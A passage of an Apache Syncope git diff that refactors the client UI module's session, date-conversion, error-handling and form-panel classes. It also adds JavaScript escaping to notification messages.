populateItem(final ListItem item) { item.add(item.getModelObject()); } }; @@ -208,21 +207,22 @@ protected Collection getDomainOnChangeComponents() { @Override public void renderHead(final IHeaderResponse response) { super.renderHead(response); + if (StringUtils.isNotBlank(notificationMessage)) { - response.render(OnLoadHeaderItem.forScript(StyledNotificationBehavior.jQueryShow(notificationMessage, + response.render(OnLoadHeaderItem.forScript(StyledNotificationBehavior.jQueryShow( + StringEscapeUtils.escapeEcmaScript(notificationMessage), String.format("jQuery('#%s').data('kendoNotification')", - notificationPanel.getNotificationMarkupId()), notificationLevel))); + notificationPanel.getNotificationMarkupId()), + notificationLevel))); } } protected abstract BaseSession getBaseSession(); - protected abstract List getSSOLoginFormPanels(); + protected abstract List getSSOLoginFormPanels(); protected abstract void sendError(String error); - protected abstract String getAnonymousUser(); - protected abstract void authenticate( String username, String password, @@ -232,11 +232,11 @@ protected abstract void authenticate( /** * Inner class which implements (custom) Locale DropDownChoice component. */ - private class LocaleDropDown extends DropDownChoice { + protected class LocaleDropDown extends DropDownChoice { private static final long serialVersionUID = 2349382679992357202L; - private class LocaleRenderer extends ChoiceRenderer { + protected class LocaleRenderer extends ChoiceRenderer { private static final long serialVersionUID = -3657529581555164741L; @@ -246,8 +246,8 @@ public String getDisplayValue(final Locale locale) { } } - LocaleDropDown(final String id) { - super(id, SUPPORTED_LOCALES); + protected LocaleDropDown(final String id) { + super(id, getBaseSession().getSupportedLocales()); setChoiceRenderer(new LocaleRenderer()); setModel(new IModel<>() { @@ -277,7 +277,9 @@ public void detach() { getHeader(HttpHeaders.ACCEPT_LANGUAGE); if (StringUtils.isNotBlank(acceptLanguage)) { try { - filtered = Locale.filter(Locale.LanguageRange.parse(acceptLanguage), SUPPORTED_LOCALES); + filtered = Locale.filter( + Locale.LanguageRange.parse(acceptLanguage), + getBaseSession().getSupportedLocales()); } catch (Exception e) { LOG.debug("Could not parse {} HTTP header value '{}'", HttpHeaders.ACCEPT_LANGUAGE, acceptLanguage, e); diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/BaseSession.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/BaseSession.java index acd67b4b66c..44fad9b0e9e 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/BaseSession.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/BaseSession.java @@ -18,9 +18,12 @@ */ package org.apache.syncope.client.ui.commons; +import java.util.List; +import java.util.Locale; import java.util.concurrent.Callable; import java.util.concurrent.Future; -import org.apache.syncope.client.lib.SyncopeClient; +import org.apache.syncope.client.lib.SyncopeAnonymousClient; +import org.apache.wicket.model.ResourceModel; public interface BaseSession { @@ -38,12 +41,8 @@ enum Error { this.fallback = fallback; } - public String key() { - return key; - } - - public String fallback() { - return fallback; + public String message() { + return new ResourceModel(key, fallback).getObject(); } } @@ -53,7 +52,7 @@ public String fallback() { String getJWT(); - SyncopeClient getAnonymousClient(); + SyncopeAnonymousClient getAnonymousClient(); T getAnonymousService(Class serviceClass); @@ -76,4 +75,14 @@ public String fallback() { void onException(Exception e); Future execute(Callable command); + + default List getSupportedLocales() { + return List.of( + Locale.ENGLISH, + Locale.CANADA_FRENCH, + Locale.ITALIAN, + Locale.JAPANESE, + new Locale("pt", "BR"), + new Locale("ru")); + } } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/CommonUIProperties.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/CommonUIProperties.java index 8e24a69c2b2..4d4fa048a9d 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/CommonUIProperties.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/CommonUIProperties.java @@ -24,6 +24,8 @@ public abstract class CommonUIProperties extends SyncopeProperties { + private static final long serialVersionUID = -4338560769317806322L; + private String adminUser = "admin"; private boolean xForward = true; diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/Constants.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/Constants.java index 789fa418721..16b31890ddb 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/Constants.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/Constants.java @@ -55,6 +55,8 @@ public final class Constants { public static final String ON_CLICK = "click"; + public static final String ON_DOUBLE_CLICK = "dblclick"; + public static final String ON_CHANGE = "change"; public static final String ON_KEYUP = "keyup"; @@ -71,6 +73,8 @@ public final class Constants { public static final String OPERATION_ERROR = "operation_error"; + public static final String OPERATION_NO_OP = "operation_no_op"; + public static final String CAPTCHA_ERROR = "captcha_error"; public static final String SEARCH_ERROR = "search_error"; @@ -108,7 +112,7 @@ public final class Constants { public static final String UNDEFINED_ICON = "fas fa-question-circle"; public static final String NOT_FOUND_ICON = "fas fa-minus-circle"; - + public static final String WARNING_ICON = "fas fa-exclamation-circle"; public static final int MAX_GROUP_LIST_SIZE = 30; @@ -122,7 +126,7 @@ public final class Constants { public static final String NOTIFICATION_LEVEL_PARAM = "notificationLevel"; public static final String ENDUSER_ANYLAYOUT = "enduser.anylayout"; - + public static final String CONTENT_ID = "content"; public static Component getJEXLPopover(final Component caller, final TooltipConfig.Placement placement) { diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/DateOps.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/DateOps.java index f68187b4cb7..1f23abe89e7 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/DateOps.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/DateOps.java @@ -19,8 +19,11 @@ package org.apache.syncope.client.ui.commons; import java.io.Serializable; +import java.time.LocalDateTime; import java.time.OffsetDateTime; +import java.time.ZoneId; import java.time.ZoneOffset; +import java.time.ZonedDateTime; import java.util.Date; import java.util.Optional; import org.apache.commons.lang3.StringUtils; @@ -44,41 +47,102 @@ public String format(final Date date) { } public String format(final OffsetDateTime date) { - return Optional.ofNullable(date).map(v -> fdf.format(convert(date))).orElse(StringUtils.EMPTY); + return Optional.ofNullable(date).map(v -> fdf.format(convert(v))).orElse(StringUtils.EMPTY); + } + + public String format(final ZonedDateTime date) { + return Optional.ofNullable(date).map(v -> fdf.format(convert(v))).orElse(StringUtils.EMPTY); + } + + public String format(final LocalDateTime date) { + return Optional.ofNullable(date).map(v -> fdf.format(convert(v))).orElse(StringUtils.EMPTY); } } - public static class WrappedDateModel implements IModel, Serializable { + public static final class WrappedDateModel implements IModel, Serializable { private static final long serialVersionUID = 31027882183172L; - private final IModel wrapped; + public static WrappedDateModel ofOffset(final IModel offset) { + WrappedDateModel instance = new WrappedDateModel(); + instance.offset = offset; + return instance; + } + + public static WrappedDateModel ofZoned(final IModel zoned) { + WrappedDateModel instance = new WrappedDateModel(); + instance.zoned = zoned; + return instance; + } + + public static WrappedDateModel ofLocal(final IModel local) { + WrappedDateModel instance = new WrappedDateModel(); + instance.local = local; + return instance; + } + + private IModel local; + + private IModel offset; - public WrappedDateModel(final IModel wrapped) { - this.wrapped = wrapped; + private IModel zoned; + + private WrappedDateModel() { + // private constructor for static utility class } @Override public Date getObject() { - return convert(wrapped.getObject()); + if (offset != null) { + return convert(offset.getObject()); + } else if (zoned != null) { + return convert(zoned.getObject()); + } else if (local != null) { + return convert(local.getObject()); + } + return null; } @Override public void setObject(final Date object) { - wrapped.setObject(convert(object)); + if (offset != null) { + offset.setObject(toOffsetDateTime(object)); + } else if (zoned != null) { + zoned.setObject(toZonedDateTime(object)); + } else if (local != null) { + local.setObject(toLocalDateTime(object)); + } } } public static final ZoneOffset DEFAULT_OFFSET = OffsetDateTime.now().getOffset(); + public static final ZoneId DEFAULT_ZONE = ZonedDateTime.now().getZone(); + public static Date convert(final OffsetDateTime date) { return Optional.ofNullable(date).map(v -> new Date(v.toInstant().toEpochMilli())).orElse(null); } - public static OffsetDateTime convert(final Date date) { + public static Date convert(final ZonedDateTime date) { + return Optional.ofNullable(date).map(v -> new Date(v.toInstant().toEpochMilli())).orElse(null); + } + + public static Date convert(final LocalDateTime date) { + return Optional.ofNullable(date).map(v -> Date.from(v.atZone(DEFAULT_ZONE).toInstant())).orElse(null); + } + + public static OffsetDateTime toOffsetDateTime(final Date date) { return Optional.ofNullable(date).map(v -> v.toInstant().atOffset(DEFAULT_OFFSET)).orElse(null); } + public static ZonedDateTime toZonedDateTime(final Date date) { + return Optional.ofNullable(date).map(v -> ZonedDateTime.ofInstant(v.toInstant(), DEFAULT_ZONE)).orElse(null); + } + + public static LocalDateTime toLocalDateTime(final Date date) { + return Optional.ofNullable(date).map(v -> LocalDateTime.ofInstant(v.toInstant(), DEFAULT_ZONE)).orElse(null); + } + private DateOps() { // private constructor for static utility class } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/MIMETypesLoader.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/MIMETypesLoader.java index fc825eec99f..a41082b611a 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/MIMETypesLoader.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/MIMETypesLoader.java @@ -20,6 +20,7 @@ import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.json.JsonMapper; +import java.io.Serializable; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; @@ -29,7 +30,9 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; -public class MIMETypesLoader { +public class MIMETypesLoader implements Serializable { + + private static final long serialVersionUID = -1865866358622817499L; protected static final Logger LOG = LoggerFactory.getLogger(MIMETypesLoader.class); diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/StyledNotificationBehavior.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/StyledNotificationBehavior.java index 82b97da06bb..da3cfd32d5b 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/StyledNotificationBehavior.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/StyledNotificationBehavior.java @@ -39,17 +39,25 @@ public StyledNotificationBehavior(final String selector, final Options options) @Override public void show(final IPartialPageRequestHandler handler, final Serializable message, final String level) { if (handler != null) { - handler.appendJavaScript(jQueryShow(this.format(String.valueOf(message), level), this.widget(), level)); + handler.appendJavaScript(jQueryShow(format(String.valueOf(message), level), widget(), level)); } } public static String jQueryShow(final CharSequence message, final String widget, final String level) { + String actual = Notification.INFO.equalsIgnoreCase(level) + ? Notification.INFO + : Notification.SUCCESS.equalsIgnoreCase(level) + ? Notification.SUCCESS + : Notification.ERROR.equalsIgnoreCase(level) + ? Notification.ERROR + : Notification.WARNING; + return String.format("%s.options.autoHideAfter = %s; %s.show( { message: '%s' } , '%s');", widget, - Notification.SUCCESS.equalsIgnoreCase(level) || Notification.INFO.equalsIgnoreCase(level) + Notification.SUCCESS.equals(actual) || Notification.INFO.equals(actual) ? AUTOHIDEAFTER_GOOD : AUTOHIDEAFTER_BAD, widget, message, - level.toLowerCase()); + actual); } } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/SyncopeUIRequestCycleListener.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/SyncopeUIRequestCycleListener.java index 05cce591c36..07e0a93e278 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/SyncopeUIRequestCycleListener.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/SyncopeUIRequestCycleListener.java @@ -19,11 +19,14 @@ package org.apache.syncope.client.ui.commons; import java.security.AccessControlException; +import java.util.Optional; +import java.util.stream.Collectors; import javax.ws.rs.BadRequestException; import javax.ws.rs.ForbiddenException; import javax.xml.ws.WebServiceException; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.wicket.authorization.UnauthorizedInstantiationException; import org.apache.wicket.core.request.handler.PageProvider; import org.apache.wicket.core.request.handler.RenderPageRequestHandler; @@ -41,15 +44,23 @@ public abstract class SyncopeUIRequestCycleListener implements IRequestCycleList private static final Logger LOG = LoggerFactory.getLogger(SyncopeUIRequestCycleListener.class); - private static Throwable instanceOf(final Exception e, final Class clazz) { - return clazz.isAssignableFrom(e.getClass()) - ? e - : e.getCause() != null && clazz.isAssignableFrom(e.getCause().getClass()) - ? e.getCause() - : e.getCause() != null && e.getCause().getCause() != null - && clazz.isAssignableFrom(e.getCause().getCause().getClass()) - ? e.getCause().getCause() - : null; + @SuppressWarnings("unchecked") + private static Optional instanceOf(final Exception e, final Class clazz) { + if (clazz.isAssignableFrom(e.getClass())) { + return Optional.of((T) e); + } + + if (e.getCause() != null && clazz.isAssignableFrom(e.getCause().getClass())) { + return Optional.of((T) e.getCause()); + } + + if (e.getCause() != null && e.getCause().getCause() != null + && clazz.isAssignableFrom(e.getCause().getCause().getClass())) { + + return Optional.of((T) e.getCause().getCause()); + } + + return Optional.empty(); } @Override @@ -59,33 +70,40 @@ public IRequestHandler onException(final RequestCycle cycle, final Exception e) PageParameters errorParameters = new PageParameters(); IRequestablePage errorPage; - if (instanceOf(e, UnauthorizedInstantiationException.class) != null) { - errorParameters.add("errorMessage", BaseSession.Error.AUTHORIZATION.fallback()); + if (instanceOf(e, UnauthorizedInstantiationException.class).isPresent()) { + errorParameters.add("errorMessage", BaseSession.Error.AUTHORIZATION.message()); errorPage = getErrorPage(errorParameters); - } else if (instanceOf(e, AccessControlException.class) != null) { - if (StringUtils.containsIgnoreCase(instanceOf(e, AccessControlException.class).getMessage(), "expired")) { - errorParameters.add("errorMessage", BaseSession.Error.SESSION_EXPIRED.fallback()); + } else if (instanceOf(e, AccessControlException.class).isPresent()) { + AccessControlException ace = instanceOf(e, AccessControlException.class).get(); + if (StringUtils.containsIgnoreCase(ace.getMessage(), "expired")) { + errorParameters.add("errorMessage", BaseSession.Error.SESSION_EXPIRED.message()); } else { - errorParameters.add("errorMessage", BaseSession.Error.AUTHORIZATION.fallback()); + errorParameters.add("errorMessage", BaseSession.Error.AUTHORIZATION.message()); } errorPage = getErrorPage(errorParameters); - } else if (instanceOf(e, PageExpiredException.class) != null || !isSignedIn()) { - errorParameters.add("errorMessage", BaseSession.Error.SESSION_EXPIRED.fallback()); + } else if (instanceOf(e, SyncopeClientException.class).isPresent()) { + SyncopeClientException sce = instanceOf(e, SyncopeClientException.class).get(); + String errorMessage = sce.getType() == ClientExceptionType.Unknown + ? sce.getElements().stream().collect(Collectors.joining()) + : sce.getMessage(); + errorParameters.add("errorMessage", errorMessage); errorPage = getErrorPage(errorParameters); - } else if (instanceOf(e, BadRequestException.class) != null - || instanceOf(e, WebServiceException.class) != null - || instanceOf(e, SyncopeClientException.class) != null) { + } else if (instanceOf(e, BadRequestException.class).isPresent() + || instanceOf(e, WebServiceException.class).isPresent()) { - errorParameters.add("errorMessage", BaseSession.Error.REST.fallback()); + errorParameters.add("errorMessage", BaseSession.Error.REST.message()); + errorPage = getErrorPage(errorParameters); + } else if (instanceOf(e, PageExpiredException.class).isPresent() || !isSignedIn()) { + errorParameters.add("errorMessage", BaseSession.Error.SESSION_EXPIRED.message()); errorPage = getErrorPage(errorParameters); } else { - Throwable cause = instanceOf(e, ForbiddenException.class); - if (cause == null) { + Optional cause = instanceOf(e, ForbiddenException.class); + if (cause.isPresent()) { + errorParameters.add("errorMessage", cause.get().getMessage()); + errorPage = getErrorPage(errorParameters); + } else { // redirect to default Wicket error page errorPage = new ExceptionErrorPage(e, null); - } else { - errorParameters.add("errorMessage", cause.getMessage()); - errorPage = getErrorPage(errorParameters); } } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/actuate/SyncopeCoreHealthIndicator.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/actuate/SyncopeCoreHealthIndicator.java index 3ac380f22a6..b340bcb4201 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/actuate/SyncopeCoreHealthIndicator.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/actuate/SyncopeCoreHealthIndicator.java @@ -41,6 +41,8 @@ public class SyncopeCoreHealthIndicator implements HealthIndicator { protected final boolean useGZIPCompression; + private UserSelfService service; + public SyncopeCoreHealthIndicator( final ServiceOps serviceOps, final String anonymousUser, @@ -53,16 +55,25 @@ public SyncopeCoreHealthIndicator( this.useGZIPCompression = useGZIPCompression; } + protected UserSelfService service() { + synchronized (this) { + if (service == null) { + service = new SyncopeClientFactoryBean(). + setAddress(serviceOps.get(NetworkService.Type.CORE).getAddress()). + setUseCompression(useGZIPCompression). + create(new AnonymousAuthenticationHandler(anonymousUser, anonymousKey)). + getService(UserSelfService.class); + } + } + return service; + } + @Override public Health health() { Health.Builder builder = new Health.Builder(); try { - new SyncopeClientFactoryBean(). - setAddress(serviceOps.get(NetworkService.Type.CORE).getAddress()). - setUseCompression(useGZIPCompression). - create(new AnonymousAuthenticationHandler(anonymousUser, anonymousKey)). - getService(UserSelfService.class).read(); + service().read(); builder.status(Status.UP); } catch (Exception e) { LOG.debug("When attempting to connect to Syncope Core", e); diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/ajax/form/IndicatorAjaxFormComponentUpdatingBehavior.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/ajax/form/IndicatorAjaxFormComponentUpdatingBehavior.java index 93b58565d6f..b38e1ea7f6b 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/ajax/form/IndicatorAjaxFormComponentUpdatingBehavior.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/ajax/form/IndicatorAjaxFormComponentUpdatingBehavior.java @@ -23,7 +23,7 @@ import org.apache.wicket.ajax.form.AjaxFormComponentUpdatingBehavior; /** - * An {@link AjaxFormComponentUpdatingBehavior} not showin veil. + * An {@link AjaxFormComponentUpdatingBehavior} not showing veil. */ public abstract class IndicatorAjaxFormComponentUpdatingBehavior extends AjaxFormComponentUpdatingBehavior implements IAjaxIndicatorAware { diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/annotations/AMPage.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/annotations/AMPage.java similarity index 96% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/annotations/AMPage.java rename to client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/annotations/AMPage.java index 86a9c6d6b54..d4404c8483d 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/annotations/AMPage.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/annotations/AMPage.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.annotations; +package org.apache.syncope.client.ui.commons.annotations; import java.lang.annotation.Documented; import java.lang.annotation.ElementType; diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/annotations/IdMPage.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/annotations/IdMPage.java similarity index 96% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/annotations/IdMPage.java rename to client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/annotations/IdMPage.java index 69436364043..239f5cefd47 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/annotations/IdMPage.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/annotations/IdMPage.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.annotations; +package org.apache.syncope.client.ui.commons.annotations; import java.lang.annotation.Documented; import java.lang.annotation.ElementType; diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/layout/AbstractAnyFormLayout.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/layout/AbstractAnyFormLayout.java index 87462253ae1..3e2ba898205 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/layout/AbstractAnyFormLayout.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/layout/AbstractAnyFormLayout.java @@ -45,5 +45,4 @@ public List getWhichDerAttrs() { public List getWhichVirAttrs() { return whichVirAttrs; } - } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AbstractMultiPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AbstractMultiPanel.java index 1e317eeea4d..e403729c262 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AbstractMultiPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AbstractMultiPanel.java @@ -66,32 +66,65 @@ public AbstractMultiPanel( view = new InnerView("view", name, model); if (CollectionUtils.isEmpty(model.getObject())) { - form.addOrReplace(getNoDataFragment(model, name)); + form.addOrReplace(getNoDataFragment(name)); } else { form.addOrReplace(getDataFragment()); } } - // SYNCOPE-1476 public AbstractMultiPanel setFormAsMultipart(final boolean multipart) { form.setMultiPart(multipart); return this; } - private Fragment getNoDataFragment(final IModel> model, final String label) { + private Fragment getNoDataFragment(final String label) { Fragment fragment = new Fragment("content", "noDataFragment", AbstractMultiPanel.this); fragment.add(new Label("field-label", new ResourceModel(label, label))); - fragment.add(getPlusFragment(model)); + fragment.add(getFragmentPlus()); return fragment; } private Fragment getDataFragment() { - Fragment contentFragment = new Fragment("content", "dataFragment", AbstractMultiPanel.this); - contentFragment.add(view.setOutputMarkupId(true)); - return contentFragment; + Fragment fragment = new Fragment("content", "dataFragment", AbstractMultiPanel.this); + fragment.add(view.setOutputMarkupId(true)); + return fragment; } - private Fragment getPlusFragment(final IModel> model) { + private Fragment getFragmentMinus(final ListItem item, final Panel panel, final String label) { + IndicatorAjaxSubmitLink minus = new IndicatorAjaxSubmitLink("drop") { + + private static final long serialVersionUID = -7978723352517770644L; + + @Override + protected void onSubmit(final AjaxRequestTarget target) { + // drop the current component + view.getModel().getObject().remove(item.getModelObject()); + clearInput(panel); + + if (view.getModel().getObject().isEmpty()) { + form.addOrReplace(getNoDataFragment(label)); + } + + target.add(container); + } + + @Override + protected void onError(final AjaxRequestTarget target) { + onSubmit(target); + } + }; + + Fragment fragment = new Fragment("panelMinus", "fragmentMinus", AbstractMultiPanel.this); + fragment.addOrReplace(minus); + fragment.setRenderBodyOnly(true); + + fragment.setOutputMarkupPlaceholderTag(true); + fragment.setVisible(container.isEnabled() && form.isEnabled()); + + return fragment; + } + + private Fragment getFragmentPlus() { IndicatorAjaxSubmitLink plus = new IndicatorAjaxSubmitLink("add") { private static final long serialVersionUID = -7978723352517770644L; @@ -99,9 +132,9 @@ private Fragment getPlusFragment(final IModel> model) { @Override protected void onSubmit(final AjaxRequestTarget target) { //Add current component - model.getObject().add(newModelObject()); + view.getModel().getObject().add(newModelObject()); - if (model.getObject().size() == 1) { + if (view.getModel().getObject().size() == 1) { form.addOrReplace(getDataFragment()); } @@ -121,6 +154,9 @@ protected void onError(final AjaxRequestTarget target) { fragment.addOrReplace(plus); fragment.setRenderBodyOnly(true); + fragment.setOutputMarkupPlaceholderTag(true); + fragment.setVisible(container.isEnabled() && form.isEnabled()); + return fragment; } @@ -158,36 +194,12 @@ protected void populateItem(final ListItem item) { item.add(panel.setRenderBodyOnly(true)); - IndicatorAjaxSubmitLink minus = new IndicatorAjaxSubmitLink("drop") { - - private static final long serialVersionUID = -7978723352517770644L; + item.add(getFragmentMinus(item, panel, label)); - @Override - protected void onSubmit(final AjaxRequestTarget target) { - //Drop current component - model.getObject().remove(item.getModelObject()); - clearInput(panel); - - if (model.getObject().isEmpty()) { - form.addOrReplace(getNoDataFragment(model, label)); - } - - target.add(container); - } - - @Override - protected void onError(final AjaxRequestTarget target) { - onSubmit(target); - } - }; - - item.add(minus); - - Fragment fragment = item.getIndex() == model.getObject().size() - 1 - ? getPlusFragment(model) + Fragment plus = item.getIndex() == model.getObject().size() - 1 + ? getFragmentPlus() : new Fragment("panelPlus", "emptyFragment", AbstractMultiPanel.this); - - item.add(fragment.setRenderBodyOnly(true)); + item.add(plus.setRenderBodyOnly(true)); } } diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxCheckBoxPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxCheckBoxPanel.java index a398e9b01ae..af581d4af8d 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxCheckBoxPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxCheckBoxPanel.java @@ -21,8 +21,10 @@ import java.io.Serializable; import java.util.List; import java.util.Optional; +import java.util.function.Predicate; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; +import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.Attributable; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.markup.html.form.CheckBox; @@ -118,7 +120,7 @@ public Boolean getObject() { @SuppressWarnings("unchecked") public void setObject(final Boolean object) { item.setModelObject(Optional.ofNullable(object) - .map(Object::toString).orElseGet(Boolean.FALSE::toString)); + .map(Object::toString).orElseGet(Boolean.FALSE::toString)); } }; @@ -128,27 +130,25 @@ public void setObject(final Boolean object) { @SuppressWarnings({ "rawtypes", "unchecked" }) @Override - public FieldPanel setNewModel(final Attributable attributableTO, final String schema) { + public FieldPanel setNewModel(final Attributable attributable, final String schema) { field.setModel(new Model() { private static final long serialVersionUID = -4214654722524358000L; @Override public Serializable getObject() { - if (!attributableTO.getPlainAttr(schema).get().getValues().isEmpty()) { - return Boolean.TRUE.toString().equalsIgnoreCase( - attributableTO.getPlainAttr(schema).get().getValues().get(0)); - } - return null; + return attributable.getPlainAttr(schema).map(Attr::getValues).filter(Predicate.not(List::isEmpty)). + map(values -> Boolean.TRUE.toString().equalsIgnoreCase(values.get(0))). + orElse(null); } @Override public void setObject(final Serializable object) { - attributableTO.getPlainAttr(schema).get().getValues().clear(); - attributableTO.getPlainAttr(schema).get().getValues().add( - object == null ? Boolean.FALSE.toString() : object.toString()); + attributable.getPlainAttr(schema).ifPresent(plainAttr -> { + plainAttr.getValues().clear(); + plainAttr.getValues().add(object == null ? Boolean.FALSE.toString() : object.toString()); + }); } - }); return this; diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxGridFieldPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxGridFieldPanel.java index fbf9ecf12a5..2d62d4c3470 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxGridFieldPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxGridFieldPanel.java @@ -37,7 +37,7 @@ public class AjaxGridFieldPanel extends Panel { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = 7589570522964677729L; public AjaxGridFieldPanel(final String id, final String name, final IModel> model) { super(id, model); @@ -45,13 +45,13 @@ public AjaxGridFieldPanel(final String id, final String name, final IModel( - "grid", - getColumns(), - new EditableListDataProvider<>(model.getObject().entrySet().stream(). - map(entry -> MutablePair.of(entry.getKey(), entry.getValue())). - collect(Collectors.toList())), 10) { + "grid", + getColumns(), + new EditableListDataProvider<>(model.getObject().entrySet().stream(). + map(entry -> MutablePair.of(entry.getKey(), entry.getValue())). + collect(Collectors.toList())), 10) { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = -1315456128897492459L; @Override protected boolean displayHeader() { diff --git a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxSpinnerFieldPanel.java b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxNumberFieldPanel.java similarity index 50% rename from client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxSpinnerFieldPanel.java rename to client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxNumberFieldPanel.java index 838ad5b8ec5..e7c3fafa4fc 100644 --- a/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxSpinnerFieldPanel.java +++ b/client/idrepo/common-ui/src/main/java/org/apache/syncope/client/ui/commons/markup/html/form/AjaxNumberFieldPanel.java @@ -19,55 +19,69 @@ package org.apache.syncope.client.ui.commons.markup.html.form; import com.googlecode.wicket.jquery.core.Options; -import com.googlecode.wicket.jquery.ui.JQueryUIBehavior; -import com.googlecode.wicket.jquery.ui.form.spinner.AjaxSpinner; -import com.googlecode.wicket.jquery.ui.form.spinner.SpinnerAdapter; -import com.googlecode.wicket.jquery.ui.form.spinner.SpinnerBehavior; +import com.googlecode.wicket.kendo.ui.form.NumberTextField; +import com.googlecode.wicket.kendo.ui.resource.KendoCultureResourceReference; import java.io.Serializable; import java.util.List; import java.util.Optional; -import org.apache.commons.lang3.StringUtils; +import java.util.function.Predicate; import org.apache.commons.lang3.math.NumberUtils; import org.apache.syncope.client.ui.commons.Constants; import 